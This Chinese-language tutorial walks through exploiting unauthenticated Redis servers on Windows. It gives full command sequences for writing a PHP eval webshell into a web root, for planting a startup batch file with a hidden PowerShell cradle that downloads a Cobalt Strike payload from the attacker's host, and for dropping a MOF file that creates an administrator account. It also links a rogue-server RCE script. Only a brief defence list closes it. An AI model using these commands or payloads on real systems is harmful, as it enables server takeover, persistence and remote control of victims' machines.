windows环境redis未授权利用手法总结
字数 1001 2025-08-15 21:32:50

Redis未授权访问漏洞利用手法详解

漏洞产生原因

  1. 网络暴露问题

    • Redis绑定在0.0.0.0:6379默认端口
    • 直接暴露在公网
    • 无防火墙进行来源信任防护
  2. 认证缺失

    • 没有设置密码认证
    • 可以免密远程登录Redis服务

漏洞危害

  1. 数据破坏

    • 攻击者可以恶意执行flushall清空所有数据
  2. 代码执行

    • 通过eval执行Lua代码
    • 通过数据备份功能往磁盘写入后门文件
  3. 权限提升

    • 若以root身份运行,攻击者可写入SSH公钥文件
    • 直接通过SSH登录受害服务器

利用方式一:写入Webshell

前提条件

  • 已知Web绝对路径

操作步骤

  1. 连接Redis服务:

    redis-cli.exe -h [redis-server] -p 6379
    
  2. 设置保存目录为Web目录:

    CONFIG SET dir c:/phpstudy/www
    
  3. 设置保存文件名为PHP文件:

    CONFIG SET dbfilename shell.php
    
  4. 写入Webshell内容:

    set x "<?php @eval($_POST['a']) ?>"
    
  5. 保存到磁盘:

    save
    
  6. 访问生成的shell.php文件即可获得Webshell

利用方式二:启动项写入

Windows启动项路径

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

使用Cobalt Strike生成Payload

  1. 启动CS服务端:

    ./teamserver csip 123456
    
  2. 创建Listener监听器

  3. 生成Payload:

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"
    

Redis写入启动项

  1. 设置保存目录为启动目录:

    config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
    
  2. 设置保存文件名:

    CONFIG SET dbfilename 1.bat
    
  3. 写入Payload(注意转义和换行):

    set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"\r\n\r\n"
    
  4. 保存到磁盘:

    save
    
  5. 目标机器重启后,Payload将自动执行

利用方式三:写入MOF文件(仅限Win2003)

MOF提权原理

  • MOF文件位于c:/windows/system32/wbem/mof/nullevt.mof
  • 系统每5秒自动执行一次该目录下的MOF文件
  • 通过VBS脚本执行系统命令

操作步骤

  1. 创建admin.txt文件,内容如下:

    #pragma namespace("\\.\root\subscription")
    instance of __EventFilter as $EventFilter {
    EventNamespace = "Root\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa "Win32_LocalTime" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
    };
    instance of __FilterToConsumerBinding {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    
  2. 格式化文件:

    (echo -e "\n\n"; cat admin.txt; echo -e "\n\n") > foo.txt
    
  3. 通过Redis写入MOF目录:

    CONFIG SET dir "c:/windows/system32/wbem/mof/"
    CONFIG SET dbfilename "nullevt.mof"
    
  4. 写入并保存文件

Linux下的利用方式

新版本RCE利用

  • 参考Pavel Toporkov在WCTF2019 Final分享的方法
  • 利用脚本:https://github.com/LoRexxar/redis-rogue-server

注意事项

  1. Redis数据量大时,写入的shell文件可能过大导致PHP拒绝执行
  2. Ubuntu/Debian写计划任务反弹可能无效
  3. 直接修改/etc/passwd会覆盖原有内容
  4. 生产环境避免使用KEY *等可能造成服务崩溃的命令

防御措施

  1. 设置强密码认证
  2. 限制绑定IP,避免暴露在公网
  3. 使用防火墙限制访问来源
  4. 不以root身份运行Redis服务
  5. 定期更新Redis版本
Redis未授权访问漏洞利用手法详解 漏洞产生原因 网络暴露问题 : Redis绑定在0.0.0.0:6379默认端口 直接暴露在公网 无防火墙进行来源信任防护 认证缺失 : 没有设置密码认证 可以免密远程登录Redis服务 漏洞危害 数据破坏 : 攻击者可以恶意执行 flushall 清空所有数据 代码执行 : 通过 eval 执行Lua代码 通过数据备份功能往磁盘写入后门文件 权限提升 : 若以root身份运行,攻击者可写入SSH公钥文件 直接通过SSH登录受害服务器 利用方式一:写入Webshell 前提条件 已知Web绝对路径 操作步骤 连接Redis服务: 设置保存目录为Web目录: 设置保存文件名为PHP文件: 写入Webshell内容: 保存到磁盘: 访问生成的shell.php文件即可获得Webshell 利用方式二:启动项写入 Windows启动项路径 使用Cobalt Strike生成Payload 启动CS服务端: 创建Listener监听器 生成Payload: Redis写入启动项 设置保存目录为启动目录: 设置保存文件名: 写入Payload(注意转义和换行): 保存到磁盘: 目标机器重启后,Payload将自动执行 利用方式三:写入MOF文件(仅限Win2003) MOF提权原理 MOF文件位于 c:/windows/system32/wbem/mof/nullevt.mof 系统每5秒自动执行一次该目录下的MOF文件 通过VBS脚本执行系统命令 操作步骤 创建admin.txt文件,内容如下: 格式化文件: 通过Redis写入MOF目录: 写入并保存文件 Linux下的利用方式 新版本RCE利用 参考Pavel Toporkov在WCTF2019 Final分享的方法 利用脚本:https://github.com/LoRexxar/redis-rogue-server 注意事项 Redis数据量大时,写入的shell文件可能过大导致PHP拒绝执行 Ubuntu/Debian写计划任务反弹可能无效 直接修改/etc/passwd会覆盖原有内容 生产环境避免使用 KEY * 等可能造成服务崩溃的命令 防御措施 设置强密码认证 限制绑定IP,避免暴露在公网 使用防火墙限制访问来源 不以root身份运行Redis服务 定期更新Redis版本